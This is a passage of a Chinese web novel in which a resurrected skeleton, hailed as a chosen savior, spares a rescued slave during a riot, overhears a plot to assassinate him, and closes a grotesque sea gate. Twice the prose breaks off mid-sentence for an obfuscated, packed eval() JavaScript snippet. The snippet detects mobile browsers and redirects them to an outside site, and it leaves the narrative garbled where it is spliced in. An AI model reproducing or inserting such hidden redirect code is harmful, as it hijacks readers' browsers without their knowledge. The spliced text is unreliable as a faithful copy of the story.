“实话告诉您吧,不是没求助过,可是界外的国王根本不打算管——呵,如果只是差了一位魔法师来‘帮忙’也算管……可那魔法师不得花上大把时间才能赶到冥窟吗,反正直到现在都没见着半个人影! “界外国王甚至下令封闭深渊之门的陆地通道,以及离冥土最近的领地的所有港口,严禁冥土的人进入奥兰迪尔境内。凡是登陆的,格杀勿论!” 贾文心中大震。 火焰骑士神色悲愤,掷地有声地说着—— “界外的人把冥土叫做诅咒之地,把我们看成污秽之物,而那个界外的鸟王早就想让我们消失了。万年灾祸是一个绝妙的机会,把我们困死在这里,好彻底灭亡!” “难道国王不知道唇亡齿寒的道理吗?”贾文忍不住问。 他觉得荒谬至极,要是深渊之门关不上,灾祸也会蔓延到界外,等冥土没了,他们又该怎么办? “唇亡齿寒,真是个好词。我哪知道国王是怎么想的?反正事实如此,他们非但不愿意帮助,而且还把我们的后路堵死了。” “……”贾文真是不知道该说点什么,事态的复杂程度已经超乎他的想象了。 “不过现在不一样了。”火焰骑士看向贾文,目光尊敬而坚定,“有了您,冥窟就有救了。” 贾文沉默以对。 和今后几天的随身侍卫打过照面,火焰骑士佩顿准备先行告退,不打扰贾文休息。 “明天卡隆巫师会和我们同行。”临走前,佩顿说道。 “坦尼森呢?” “坦尼森大人是政务总管,需要留在极夜堡处理事务,以防万一。随行的阵仗不会太大,不过您放心,我们会保护好您。” …… 防止什么万一? 贾文盯着房门,火焰骑士的那句“以防万一”可谓意味深长,一直在他脑海里盘旋。 罢了,他掌握的信息少得可怜,再琢磨也想不出什么结果。 简单洗漱后,他一头栽倒床上,骷髅身板薄如纸片,却仍是有着一定分量,床垫微微陷进去了一些。 脑袋纷纷乱乱,在想什么东西根本不受自己控制,今天发生的事情无序地播放着。 播到某个片段,床上的骷髅霍然坐起身。 女仆和各个廷臣们吃饭的样子历历在目,他们都吃不饱了,宴席上那份被撤下去的烤羊肉应该不会被扔掉吧?还有没喝完的燕麦粥……可别因为他一个人吃不进去,浪费掉所有肉啊! 我真该死啊!贾文自认厚脸皮,可此时也不得不升起几分愧疚,有点崩溃地想。 总而言之,明天不管食物有多难以下咽,他是决计不会浪费的了。 还有一件事。 贾文眼皮子都阖上了,又猛然睁开。 要是真的死了,家人怎么办? 父母健在,起码在他离世之前身体很好,家中还有一个刚刚参加工作的小妹,正在为了成为社畜而发愁。 工位上猝死算工伤,家人也能拿到一定赔偿。贾文细数了一下自己攒下来的钱,存款虽然没有想象中那么多,但足够补贴父母和妹妹未来的生活了。 人之将……不对,人之已死,没什么是时间冲不淡的,他更希望家人能好好生活,不要因为自己而伤心太久。 尽管他也很想他们。 确认好这件事,他重新躺下来。 原以为今天精神上累得够呛,只要闭上眼怎么着都能睡着,但贾文几乎一夜未眠。 直至天光未亮,有人敲响了房门,叩开依旧留恋在黑夜怀抱里的天色。贾文扫除那些盘旋在脑中一晚上的杂念,只想着一句话。 来都来了,走一步看一步吧…… - 走一步看一步,走两步颠一路。次日启程,贾文又有些后悔了。 被现代社会的科技伺候得太好,即便曾经学过一点马术,可要坐在马上赶路,他那点骑术也完全不够看,腰臀酸得不行。 为了赶时间,他们没有选择往大路走,选的偏僻小路,一会儿泥地一会儿石头路,这才过去三天,贾文一身骨头真要颠散架了。 要说唯一好的一点,那便是见到了许多属于自然的风景。 天空宽敞得如同海洋,在这片巨大的画布上,晴空时一碧如洗,一点云絮好似游鱼划过水面的波纹。 而当太阳落下山头,落日余晖染满金红与橙黄,空旷而绚丽……是城市钢铁森林中难以感受到的视野,令人不自觉地沉湎其中。 虽然身体疲惫,但贾文的心情得到了安抚,无比轻松畅快。 昼夜兼程下,一行人总算抵达海边港口。和以往相比,港口冷清了太多,空荡荡一片。见不到人影才正常,天灾在步步逼近,坦尼森他们早已组织人手疏散民众,尽量远离海岸。 港口停工了数十日,不少空船只被拴在码头,随着水浪声微弱地起伏。像孩子迟迟等不到家长来接,无聊地摇晃着身子,浑然不知自己已经被遗弃了。 此时正赶上太阳西下,沉沉的金色在天边聚集,浓烈的色彩洒下整片港口。 贾文翻身下马,他抬起戴着黑色皮手套的手掌,放在额头上方,远眺着一望无际的海洋。 海面闪烁着细碎的光,有些刺目,却是令人目眩神迷的美。 海风吹拂着他的斗篷,宽大的兜帽底下,是一张被银色面具覆盖住的脸。 “大人,今晚住宿的地方已经安排好了,我们这就过去。”火焰骑士佩顿接过缰绳,拽着马嚼子往后方走。 老巫师卡隆年纪大了,打了招呼,和几名官员先行回城镇歇着。 见贾文还在欣赏景色,火焰骑士便没打扰。说实在的,这位外界来的钦定者叫他有些刮目相看。 这几日赶路,是个平时锦衣玉食的贵族老爷都会叫苦不迭。 可面前这位,除了开玩笑地抱怨过一句:“这木屑吃起来还挺像干粮。”——其余时候一声不吭。 即使看得出来他很不适应,非常疲惫,却毫无怨言。 “坦尼森爵士派我来问,港口疏散干净了吗?”火焰骑士叫来一名男人,后者正是负责接待他们的、新伽港口的管理人。 “人都赶回家啦,家离海边近的也被安置在圣堂了,奴隶也都送回去了。”管理人回道。 接到密令,管理人不敢怠慢,一大早就亲自去接贾文一行人,直到现在抵达港口。 然而火焰骑士环顾四周后,面皮抽了抽,像是在皱眉:“警备不够。” 附近驻守的人还是太少,队伍返程时需要回到新伽港口,得有人接应,这里也本应作为一道重要防线。 管理人连连保证会加紧安排,负责新伽港口驻守的是两位界外大奴隶主,目前住在新伽城镇内。今天早上两边传信告知会再加派一批兵士过来,最迟今晚就到。 时候不早了,火焰骑士先带贾文他们前往港口附近的城镇休息。 而就在送别各 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15233549|165975||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 位大人之后,奴隶主派来的兵士们抵达港口,可朝这边走来的只有零零散散一些人,一看情况就不对。 问完什么情况,管理人顿觉浑身冰凉。 原来,这批兵士出发后,趁着奴隶主的住地防守不足,奴隶们竟然集体暴乱,用偷来的武器和农具合伙杀了他们的主人! 兵士早就走远了,再收到变故的消息,只得让大部分人赶回去,另外抽一些人按照约定来到码头。这些兵士们也懵了,他们有人是受雇佣来的,有人也是奴隶士兵,现在服务的对象没了,该听谁的,该找谁去? 一人狂奔而来,管理人看着惊恐无比的下属颤颤巍巍地伸出胳膊,指向城镇的方向。 “奴隶、奴隶们造反了……!” …… 城镇的房屋极为密集,巷道密得犹如盘根错节的树根。 火焰骑士牵着马在前面慢慢走,贾文则是低着头,小心地避开水塘、畜粪以及某些不明黏稠液体,省得一个不小心踩到“地雷”。 卫生有些堪忧啊!他心想。 远处人声鼎沸,他被短暂地吸引了一下注意力,随后继续闷头看路。小城镇还挺热闹,想来是有什么活动吧。 等他们即将走出巷子,一个衣衫不整的人猛然间窜出来,把贾文和身后几名护卫接连撞歪了身子。 “嘿!眼瞎吗,看点路!” 护卫们冲那人嚷嚷,紧跟着大路的方向传来众多喊声。 “是往巷子里跑了吧?” “就是那儿,追上去!” 火焰骑士预感不妙,正要扯着贾文带离此处,乌泱泱的人群堵住了出口的光,一片密集的乌云朝着这边席卷而来! 一切只发生在瞬息之间,手持各种农具的人们挤进巷子,他们一边发出愤怒的喊叫,一边追逐着某个刚刚逃窜离去的目标。 人群如潮水般势不可挡,迅速将贾文、火焰骑士与其余几名护卫冲散。护卫都来不及拔剑阻挡,“潮水”已经把贾文从巷头裹挟回巷尾。 奔涌进来的人潮除了追赶,还因为狭窄的道路伴随着推推搡搡。 贾文一个不慎被掼倒在地,而马蹄一样踏过的无数条双腿仍在继续前进,他只能侧过身,用双臂撑起一部分胸口,护住脑袋,以免在踩踏时受伤或者窒息。 关键时刻,一道身影出现在旁边:一名年轻人用黑瘦的身子与胳膊撑在墙上,大声喊着别往这里挤,替他挡住一部分汹涌的人流。 等“潮水”褪去,年轻人舒了一口气。 年轻人刚摸上贾文的肩膀,想要把对方从地上扶起来,结果面具忽然掉落下去,一张完全是死了很久、皮肉全部腐烂完,只剩白骨的骷髅脸立时显现出来。 年轻人眼睛瞪大,猛地缩回手,以为自己救的是具尸体。 不料,那尸体缓缓地爬起身,顺手拿起地上的面具,重新扣到骷髅脸上。 “谢谢。”他听骷髅这样说道。 新钦定者创业未半而差点中道崩阻……贾文心有余悸地拍拍衣袍,掸了掸灰尘。 “啊……你没事吧?”原来是对方的原形呀,年轻人迅速反应过来,很快接受事实。 确认贾文的确没事,他抱歉地后退一步。 “我们追的只是那几个可恶的主人……对不起,不是故意要推倒你的。” “主人?”贾文奇怪地重复这个称呼。 年轻人点头,面上浮现不忿:“他们一直打我们,饿我们,现在更是过分,两天都不愿意发一块面包。除了抢,不然只能在灾祸前被饿死,我们没得选。” 他弯下腰,躬着的背部贴在单薄褴褛的粗布衣服上,凸出一排清晰可见的脊骨。 年轻人刚要拾起棍子,准备继续追上人群,利剑出鞘的声音在背后响起。 火焰骑士的长剑直指他的后脑。 “大人,您有没有受伤?”火焰骑士见年轻人欲要动作,剑尖几乎戳向对方的后颈,喝道,“不许动!再敢动弹一下我立马削了你的脑袋!” “佩顿,我没事。”贾文提高音量,强调一遍事实,“他刚才救了我。” “现在呢?万一他捡起木棍袭击您怎么办!” “我只是想追上他们……”年轻人条件反射地瑟缩低头,小声解释。长剑又逼近一寸,直接架在脖颈旁边。 “闭嘴!” 火焰骑士发丝凌乱,披风也蹭脏不少,此时像一头隐怒的雄狮,任何有威胁的生物都会被他一口咬死。他是奉命来保护贾文的,若是钦定者有丝毫闪失,他难辞其咎。 护卫们陆陆续续聚集回来,也带回一名气喘吁吁的男子,此人正是港口管理人的下属。终于找到贾文等人,下属将事情的前后起因陈述给他们。 同样了解这边的情况后,下属恶狠狠地盯着年轻人,张口怒斥:“你也是同伙?好啊,你们这群混账东西竟敢闹翻天,卫兵已经出动,今天就要你们人头落地!” 年轻人张了张唇,凹陷的脸颊微微收缩,他面色闪过一丝本能地惧怕,紧跟着被风吹散似的消失了,视死如归地瞪着地面。 哄闹过后,巷道回归寂静,贾文的话音格外突出。 “但如果刚才没有他的保护,现在被踩成烂泥的或许就是我。” 贾文转向火焰骑士:“即使他是我的救命恩人,回去之后也难逃一死,是吗?” 火焰骑士一愣,没想到他会问得如此直白,却予肯定的回应。 方才下属汇报时说过,奴隶主已经被打死,家眷下落不明,食物被抢光,守卫队自然不会放过任何一个奴隶,按照现行律法,捉到后当场处死都没问题。 贾文也想得不错,这人一开始便是参与暴乱的其中一员,即使现在算作贾文的救命恩人,一样要付出代价,无法轻易被赦免。 所以,作为奴隶,年轻人横竖都是一死。 “佩顿,我记得路上你跟我说,如果风暴和灾厄同时降临,需要有人在前头抵挡。”贾文淡淡地说着,火焰骑士扭头看去,反应片刻,顿悟他的想法。 “您是说……把他带上船?” “是的,收起你的剑。”贾文命令道,火焰骑士迟疑的动作中,他把年轻人一把拉起来。 年轻人同样不知所措,只知道自己似乎被赦免了,跪回地上表达感谢。 “不要谢我。”贾文一双手落回身侧,叹息地转过身。 护卫们看看彼此,在火焰骑士的默许下重新带路。 宽大的长袍底下,贾文的骨指渐渐捏紧,似乎是心有余悸的颤抖,也或许是别的什么情绪。 把奴隶送上船,只是出于下策罢了。随行之人还有必须保护他与一众臣属的死士,在谁都不清楚灾祸究竟为何物的情况下,死士们必须挺身而出。 他保不住这名年轻人,只能通过这种方式延缓对方的死期。 贾文不知如何描述心中的滋味,自他来到这里之后,此时此刻,第一次体会到了一种前所未有的实感—— ——冥土是一个完全不同于前世拥有现代社会的世界。 他们有王权,有贵族、有平民、有奴隶…… 他可能,或许,应当……不能再用以前的道德观,去看待如今的世界了。 4. 深渊之门 原本计划在新伽城镇休整一日,可船只出了一点问题,为了排查和检修,众人只能再等待一天。 天朗气清,海面平静,咸湿的微风徐徐吹拂,贾文坐在码头,骨指捏着一颗小石子翻来覆去地把玩。 昨日闹事的奴隶们逃的逃,走的走,被抓到的也不少。港口补充了些警备,但依然空旷又僻静。 海平线像一根细细的铁线,将海洋与天空一分为二,贾文远远眺望,试图把思绪捋得像海平线那样清晰平直。 套上一层“救世主”的身份,包括来到这个世界,都并非他的本意。如今所有人都对他给予厚望,唯独他一人稀里糊涂,被无数双手推着向前走。 直到今天,他也无法全然相信预言的真实性,不过一则预言带来的后果倒是见识了不少,比如那场奴隶暴乱。 假如预言是真的,明天登上船,尽早找到深渊之门并成功关闭了,那自然皆大欢喜。 可万一失败了,他们会怎样处置他? 所有的说法、能力还有权限,全是别人安上来的。要是关不上门,他们是不是又可以换个说法,给他安上一个“冒牌钦定者”的身份? 一口黑锅砸下来,全部罪责由他一个人扛了去。反正是个外来者,无所谓。 成为救星可不一定是件好事。 不能说贾文想太多,事情还没发生就先把自己给吓死。这些是可以推测出来的后果,而他这人习惯深思,习惯把最坏的结果预想出来,好方便之后拿出方案来应对。 深思熟虑的结果就是——贾文拿不出方案。 政务总管坦尼森此前承诺过,无论成功与否,都不会改变他是王座钦定者的身份。但承诺这东西最不值钱,生不生效全看当事人的心情。 表面上,他的保命筹码是王座钦定者,整片冥土独他一人可以操控深渊之门。唯一的问题在于,这个能力没有证实过。说穿了,这筹码比领导喝醉酒之后说要亲自提拔你还要虚。 石子又抛向空中,只是这一次,它从贾文的骨指之间滑了下去。贾文动作一顿,苦笑一声。 命运就像石子一样抓不住,既然如此,也就不得不认命了。最坏不过再死一次嘛,反正他也算重开过一回了,还体验了一把传说中的穿越,不算太亏。 他重新捡起小石子,尝试用哪种方式才能将它握得更稳些。 假如一切顺利,贾文考虑好了,虽然不会自立为王,但他愿意坐上领主之位。 冥窟暂时没有领主,的确需要王座钦定者来稳住局势。成功关闭深渊之门,便意味着能力和身份能够坐实,筹码自然而然也就送到手心里了。 后续再加上一层领主身份,真正想要保住冥窟的人,便会竭尽全力保护他,不至于有性命之忧。目前看来,那名政务总管坦尼森维|稳的意愿最强。都到愿意拥护一个外来者为王的程度了,想必很是心切,可以视作一把临时保护伞。 当上领主以后怎么办? 还能怎么办,该吃吃该喝喝,直到他们有了下一个领主。 贾文又不傻,他一个外来者,不可能比本地人更了解当地情况,脑内的那些信息只能算额外补充。作为当地的高层,纵使是坦尼森,也坚决不可能真的把实权让渡到他手上。 位子架空就被架空呗,贾文看得开,只要不影响自己吃喝和生活,不威胁到生命安全,他乐得当个甩手掌柜。 思绪渐渐理清,心里顺畅许多。 他起身伸个懒腰,将石子投入海中,维修船只的声音仍在叮叮当当作响,被贾文抛在身后,掉头回城镇。 被他一同抛下的,还有逐渐变了颜色的天空,以及令海平线不再界线分明的黄昏。 - 没有电灯的夜晚更加漆黑,照明的东西只有火把与月亮。 贾文朦胧地醒来,膀胱憋得慌。轮值的守卫手持火把,带他来到茅房附近。 前天险些出了差池,火焰骑士命令守卫们必须寸步不离地跟在贾文身边。可整整两个白天,连上厕所都要盯着,这怎么让人受得了,怕他一不小心跌进茅坑淹死吗! 茅房就在不远处,贾文好说歹说,叫守卫在原地等一等,不必继续跟着,他去去就回。 刚刚拐过一个墙角,前方依稀传来交谈声,轻得像呢喃,放在夜色中又十分明显。 原本着急解决内急,不想管有没有人在说话,然而对话里的一声“钦定者”让他顿住脚步。 “……我好像听见了脚步声。” 贾文踮着脚缩到墙边,离得更近一点,隐匿于黑暗中。 等了一会儿,交谈声才再度响起:“错觉吧,我们接着讲。我也没想到,巫师族竟然真的能把钦定者召唤来。我后来还听说,坦尼森直接在宴席上请求那个人做冥窟的国王。” “呵,坦尼森果然会这么做,徒劳而已。他们等这一天等了多少年来着?反正为达目的不择手段了,着急忙慌推举新王也不稀奇。” 对话的是两名男性,月色照不到这附近,贾文试图努力看清楚,却连轮廓都摸不清晰。 “就算扶持为王,他们也不可能真让一个来历不明的人管理冥窟,其他臣属不会同意。” ——果然,此话一出,贾文眼眶内的紫色沉了沉,与他白天的想法一致。 “话说,你真觉得深渊之门会关闭吗?” “会不会不由我说了算,但我希望能关闭。”另一人口吻无谓地回答。 “为什么?” “切断跟界外的联系不是一桩好事吗?快三百年了,界外对冥土的‘支援’——实际上是控制,已经远远超乎了我们的想象。刚开始那会儿还好,毕竟能扶持咱们的势力,但今非昔比了,过度的插手反而是掣肘。” 那人继续说着: “依我看,冥土迟早要迎来这一天,我不懂你们为什么会害怕。跟界外断联反而更方便动手,想做什么都行,省得要看他们的脸色……” “……家里的事就该关起门来解决。” “你说得有道理。”对方似是终于想通。沉默了片刻,语气肯定地开口,“那这样的话,钦定者就没用了。” “是啊,关上深渊之门,钦定者的‘使命’就算完成了,我们的目的达成一半。剩下另一半,就是把他除掉,让冥土永远隔绝界外。” 贾文心脏蓦然一跳。 方才说话之人低声笑了笑:“隔着夜晚我也能看到你脸上的担忧,感觉太大胆啦?” 对面不知作何反应,只听此人轻佻又理所当然地表示: “实话告诉你吧,今天这番话,基本包含了大人们的意思,可以当做是他们的授意。要想方设法暗中除掉钦定者,是板上钉钉的事。” “冥土应该有自己的新历史,迎接新的篇章。” 他的声音变得轻飘飘,缓缓往远处飞,二人抬脚离开这片地方。 “不用提心吊胆,这可是件喜事呀……” …… 直到话音彻底远去,贾文也没能分辨出那二人的面容。音色十分陌生,只能通过对话判断,他们或许是随行的某两个臣属。 夜色过于浓厚,月影与星星不知不觉间被云雾遮挡。 周围沉寂得如同深渊,二人交谈时的声音,也仿佛来自深渊之中的低语,亦真亦假,缥缈虚幻,犹如无数细碎呓语汇聚成的恶毒诅咒。 夜幕一点点啃噬着贾文的心神,他被迫陷入这片黑色泥潭里,却一动不动,仿若丧失求生欲望的人,静静等待死亡降临。 不知过去多久,守卫担忧地举着火把找过来。 “贾文大人?” 火光一瞬间驱散周围的昏暗,一并照亮了斗篷底下的白骨面容。 然后,他听见一声轻笑。 这声笑太短促,守卫来不及捕捉其中的情绪,那如夜一般浓郁的自嘲亦被轻轻带过。 - 卡隆巫师拄着拐杖,慢吞吞地回到甲板上。远处,一道深灰色的颀长背影静静伫立在船头。 上船当天,卡隆巫师便注意到了钦定者的一些变化。 贾文似有心事,经常一个人站着发呆,从好奇地找人询问各种事物和景象,变成现在这般沉默的模样。 他们在海上航行了一天一夜,即将进入雾海的范围。离万年灾祸降临不足四天,所有人都在紧张不安地度日,或许钦定者也是。 卡隆巫师这般想着,决定去找贾文聊一聊。 他理解身负重任的感觉,如果能和别人说说话,即便开导不了,至少也能舒缓一些情绪。就算不是看在王座钦定者的份上,他也愿意帮助这么一名晚辈。 “我年轻时候出过几次海,但因为长老身份的关系,从来没能去过雾海。”卡隆巫师踱步到贾文身侧,耳边传来船只划破海面、缓慢前行的水声。 贾文闻声转过头,在光线的照耀下,面具闪烁着银白色的光泽。 “随行的其他巫师说他们去过,您为什么没有?”贾文语调平缓,但听起来兴致并不高涨。 “太危险啦。我想去,大家不让。”卡隆巫师遗憾地摇头,“雾海四面八方皆是浓雾,越接近深渊之门,雾气越浓。一旦进入那里,罗盘就会失灵,非常容易迷失方向,去往何方全凭运气,所以很多船只葬身雾海。” “于是你们做出了这个?” 贾文摊开手,掌心放了一枚东西,外观类似表盘,圆形的石块中浸满了水,里面有一颗蓝色的水珠正在缓慢游走。 这是他来到冥土以后,目前最感兴趣的一个东西:冥土的计时工具。蓝色水珠代表时针,绕着圈边游走,便意味着走过了多少个时辰。 冥土和他原来生活的世界有着极高的相似度,不论生物还是环境,连一天当中的时间也同样划分为二十四小时。 “是的,它是蓝水钟,巫师族的人们靠星辰观察所有,包括时间。最后合力做出了这件小物品。” 卡隆巫师继续补充。 “您手上的这枚蓝水钟被倾注了一些魔法,能够用来判断深渊之门的位置。您瞧,它已经有些蠢蠢欲动了。” 蓝色的水珠不再沿着边缘游走,而是忽高忽低,仿佛被什么东西吸引似的,想往那边靠拢。 “真厉害。”贾文真心实意地赞叹。 脑内信息曾显示,当前的世界存在一些魔法,但总体水平不高,可以说很低,拥有魔法的人更是少数。 巫师族其实并不算魔法师,他们是更为特殊的一类人群,生来便具有“夜观天象”的能力,可以通过观察星星推断预测一些事情,比如未来几天的天气。 “那你们是怎么发现万年天灾的?”贾文问道。 卡隆巫师深深吸气,呼出一口悠长的叹息。他枯瘦的手指在船边上抚摸了几下,才把话说出口。 “大概六年前,我发现了一个星象。它像一个忽然登门造访的来客,没有人知道是怎么出现的,又代表了什么含义。” “我怎么解也解不开,给其他族人去看也解不出来。我只好和几个老家伙——他们算是比较德高望重的人物了,跟他们废寝忘食地看星象,一解就是整整六年,得出了一个震悚无比的信息:即将有天灾降临。” 贾文默默地听着,然而这时卡隆巫师偏过脑袋,视线落到他身上,出于礼貌,他不得不回视老者,却见对方的眼神含着悲伤与欣慰。 “想到利用深渊之门的方法后,我们却没有钦定者。冥窟四百多年都不曾出过一个钦定者,我们只好参考星谕,尝试最原始的办法,那就是召唤。” 召唤一事极其耗费心力,也耗生命。为了召唤钦定者,那群老家伙接二连三地倒在祭坛前了。” “身为族长,我理当身先士卒,但他们不让,不让啊……于是一个个倒了,倒得没人了,才轮到我。” 贾文愕然地听着卡隆巫师讲述,他没想到,为了迎接他——或者说,包括他在内的任何一个可能,居然有人已经为此付出了生命! “说这些,不是想让您产生压力和负担,千万不要为此感到苦恼。我们只是在为大家的未来搏一个机会,这是自愿的,您的到来恰恰代表了我们的付出是值得的。” “不管之后能否成功,起码我们已经努力过,做过尝试。我都这把年纪了,活够了,因此结局并不重要。相信坦尼森大人一样同您说过类似的话。” 随后,卡隆巫师递来一个饱含歉意的目光:“可是,我必须郑重道歉,您被召唤而来,包括将来要做的一系列事情,都没有提前征求过您的意见。” “您不用道歉。”贾文隐隐有些触动。 其实换个角度想,正是因为他们的召唤,才给了他第二次活着的机会。 二人互换一个笑容,只是片刻后,贾文的情绪又沉下去几分。 他问出了那个埋藏心底已久的问题。 “我想问一下……既然您有办法把我召唤过来,那么有没有方法把我送回原来的地方?” 然而回答他的,只有船浪、海风和卡隆巫师的沉默。 “对不起……”卡隆巫师抬起手,盖上贾文的手。他紧紧握着黑手套底下的骨头指节,又轻轻地、苍白地说了一遍,“对不起。” 甲板上空只余掌舵与船长偶尔的指挥声,以及水手们四处忙活的动静。贾文缄默了太久,卡隆巫师无力愧疚的心情也只能靠手心去传递。 许久后,贾文终于启唇。 “没关系。”他说,“没事的。” 贾文的声音听不出悲喜,他没有责怪老迈的巫师,也没有责怪冥土里的任何一个人。 难过吗?肯定有,但得到了确切的答案,更多的是心安。 照现在的状况来看,明明他才是需要被安慰的那个,眼下反倒抽出手,安抚地拍了拍卡隆巫师的手背。 贾文回过身,船头的位置一览无余,他将数道忙碌的身影纳入眼底,足足看了半个小时,甚至更长时间。 一抹略有些熟悉的身影出现在视线范围内:精瘦的年轻人提起一桶海水,准备清洗甲板。 那是前天救下他的奴隶。 银质面具的镂空雕花背后,幽紫色盈盈闪动;眸光捉摸不透,宛若在考虑着什么。 他注视着奴隶,思虑过后,便是坚定。 - 目光所及之处,阴霾遍布,沉郁低迷。海上的薄雾缭绕船身,雾气明明是浅淡的、轻盈的,堆积在一起却厚重如泥。 阳光无法穿透灰白色的淤泥,若没有蓝水钟,恐怕时间也会在浓雾的侵蚀下一同消散殆尽。 一般情况下,水手们绝不愿意在这样的环境中继续航行,能见度太低,处处潜伏着危险。 为了找到深渊之门,他们别无选择,只能一再放慢速度,飘荡一般前行。 可以确保的是,注入魔法的蓝水钟没有出现任何问题。然而他们航行了四天,无时无刻不是跟着水珠的指引走,好像航行了很远很远,可无论怎么样都到达不了目的地。 深渊之门仿佛有意跟他们捉迷藏似的,临到最为焦灼之际,也不愿现身。 随着时间流逝,船上的人们从一开始的紧张期待,变成现在的心急如焚。最后一天已经来临,谁也不清楚灾祸会在什么时候出现。 要是还找不到深渊之门……随行的不少人面露绝望。 现在已是晨间九点,岩蟹号的船长牢牢攥着蓝水钟,快要把它捏碎似的握着,一双眼睛由于彻夜难眠而生满红血丝,一瞬不瞬地盯着表盘上的水珠。 水珠在往右上方游移,进入雾海后,它一直是这样的状态,飘飘忽忽、不紧不慢地四处闲逛。 慢慢地,水珠的位置似乎固定了下来,即便又一小时过去,它也没有改变方向,一直停留在右上方。 大副看见船长的反应,三步并作两步跨上船尾,跟着把脑袋凑过去,刚想询问情况,他的表情倏然发生变化。 “起帆,打右舵!”只听船长大喝一声,众人被惊醒似的开始活动。 蓝色的水珠像是被某样东西强烈地牵引着,一瞬间飞到了表盘的最边沿,死死贴着那个方向。 “终于有迹象了!”大副高兴地向卡隆巫师汇报消息。 大船的各个部件被调动起来,发出咯吱咯吱的声响,向右上方航行。 不消多时,一团比雾气更 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15233550|165975||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 加庞大的黑影出现在前方。 船长已经下令把船驶到一个近得不能再近的距离了,但隔着海雾,他们仍然看不清楚前方到底是何物。 “只能在这儿抛锚了。”岩蟹号船长说道。他又吩咐备好几只小船,派一部分人先行探路。 等过一段时间,那群人划着船回来,确定前方的巨物就是深渊之门! …… “当心。”贾文伸出双臂,与火焰骑士一起接应卡隆巫师。 老巫师本该呆在船上,但他愤然戳了戳拐杖——“我一辈子被你们拦在身后,你们只是想要护着‘巫师族的长老’。我作为杜利乌斯·卡隆本人,今天非去不可!” 此话一出,没人再敢阻拦卡隆随行。 坐稳四个人后,船夫开始划动船桨。 借着火焰骑士手中的提灯灯光,贾文看着身后的岩蟹号逐渐变远,遁入一片茫茫之中。 雾海风平浪静,木桨拨动水面的声响格外清晰。要不是周围有几条随行保护的小船,以及偶尔传来谈论声,海上寂静得仿若没有活物。 巨影越来越近,硕大到前方只剩黑乎乎的一片,倒不像是他们划船靠近,而是两头彼此迎接相撞。 当接近得只剩几寸距离时,船夫收起桨,停止划动;小船还在继续往前滑,直到“嘎吱”一声微微摇晃,船头撞上了什么东西,才终于立在原地。 很奇怪,进入这几寸范围,视野忽然不再受雾气阻拦,或者说淡去许多。 贾文等人纷纷昂起头,仰望着眼前的景象。 这是一堵庞大得能笼罩天地万物的墙,高到能触摸天际,宽得蔓延至整片海洋。 但它又不像墙,因为没有任何墙体的材质能生得像某种生物的皮肤,漆黑、斑驳又粗糙,长着数不尽的疙瘩。由于它本身的巨大,这些疙瘩和人头差不多大,而且内里似有虫卵,一颗颗凸起呼吸般一鼓一缩,或是悄悄地在囊中蠕动。 没过多久,“疙瘩”们渐渐移动,往中心靠拢,一枚一枚互相融合吞吃,汇聚成一颗肉瘤。 忽然,肉瘤的正中绽开一条缝! 一只硕大的眼睛出现在众人的头顶,它注视着所有人,任何人都逃脱不了它的视线! 而那冰冷的、审判一般的视线落在下方,集中于某个人身上—— ——它与贾文幽紫的瞳光直直相撞。 “星辰保佑……” 轻轻的感叹从卡隆巫师口中泄出,不止他一个,在场所有人都被眼前的景象所震撼。 比起想象中和记录里的模样,真正的深渊之门更令人生畏。不少人已经被那视线压迫得喘不过气,何况是被它凝视着的钦定者。 贾文也挺震惊,不过他是震惊于深渊之门居然长得这么又丑又诡谲,太克系了。 幸好他没有巨物恐惧症,贾文庆幸地想,除了被大眼睛直勾勾盯着有些不适,其余的感受倒是没有多少。他尝试着从小船上站起来,该办正事了。 其实从得知自己有操控深渊之门的能力之后,他心里一直有些打鼓,因为根本没从体内感觉出什么特殊或者异常。 此刻站在深渊之门面前,照样什么都没觉察出来,所以更加忐忑不安了。旁边有更多期盼的视线投来,令他压力更甚。 到底该怎么做?他不知道第几回搜刮脑袋里的信息,仍旧没有半点儿提示。 算了,看着来吧。 贾文清清嗓:“关。” 深渊之门毫无动静。 他又尝试多加一个字:“关门。” 那枚硕大的眼睛无动于衷。 “……”贾文尴尬地咳嗽一声,他不敢转头去看别人现在是什么表情。 贾文又试了几回,连中文母语都说上了,但深渊之门半点面子都不给,简直是纹丝不动。他是真不知道怎么关门啊!再拖延一会儿不知道那群人会不会把他扔下船,难道真要死到临头了吗? 冥土的人被逼到走投无路,他也逼到了绝境,决定上手摸一摸,看看有没有机关一类的东西。 “还挺麻麻赖赖的……”他小声吐槽着手感,手掌刚刚与粗糙的“墙面”贴合,一道细线从巨眼的瞳仁中显现出来。 细线延伸至整扇门,白光渐渐溢出,而后变得越来越亮,让他们不得不以手臂遮挡,否则就会像凝视太阳那样灼伤了眼。 霎那间,左右升起两阵风,往中间对冲而来。风只悬浮于海面上,并没有掀起浪涛,一刹那相互撞击,接着涤尘似的吹散开。 门关了。 尽管周围没有任何变化,但大家就是莫名地知道,深渊之门关上了。 贾文立于船头,别人高不高兴不知道,反正他是被彻底整无语了。 以为要语音输入,结果是指纹验证。 尽管大家喜形于色,但还不能高兴太早,关闭深渊之门只是第一步,目的是为了引起海上风暴,将即将到来的天灾扼杀于风暴之中。 那两阵风似乎把雾气也吹散了,周身的视野短暂地清晰起来。 天色暗得如同傍晚时分,昏沉的红光从天边漫溢出来,像极了火烧云。 